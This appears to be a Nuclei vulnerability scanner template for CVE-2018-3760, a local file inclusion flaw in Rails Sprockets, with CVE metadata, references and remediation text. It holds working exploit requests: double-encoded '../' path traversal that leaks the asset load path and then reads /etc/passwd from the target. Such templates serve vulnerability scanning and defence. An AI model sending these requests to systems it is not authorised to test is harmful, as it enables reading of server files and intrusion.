CVE-2018-3760: Ruby On Rails - Local File Inclusion

id: CVE-2018-3760

info:
  name: Ruby On Rails - Local File Inclusion
  author: 0xrudra,pikpikcu,diedromeo
  severity: high
  description: |
    Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
  remediation: |
    Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    - https://seclists.org/oss-sec/2018/q2/210
    - https://xz.aliyun.com/t/2542
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-3760
    cwe-id: CWE-200,CWE-22
    epss-score: 0.26717
    epss-percentile: 0.9792
    cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redhat
    product: cloudforms
  tags: cve2018,cve,rails,lfi,ruby,vulhub,seclists,redhat,vkev,vuln

flow: |
  http("leak") && http("exploit")

http:
  - id: leak
    raw:
      - |
        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    disable-path-automerge: true

    matchers:
      - type: word
        words:
          - "is no longer under a load path"

    extractors:
      - type: regex
        name: path
        group: 1
        regex:
          - "/etc/passwd is no longer under a load path: (.*?),"
        internal: true
        part: body

  - id: exploit
    raw:
      - |
        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    disable-path-automerge: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210099e308e8b2d039a3e58b81bd4803ac8c7af361ad44d5b1c9fd0f99517a11dc56022100d47aa00bb859142c705b4b471e29ba3787762251c38aa900bd1d83e5d7e21ac9:922c64590222798bb761d5b6d8e72950

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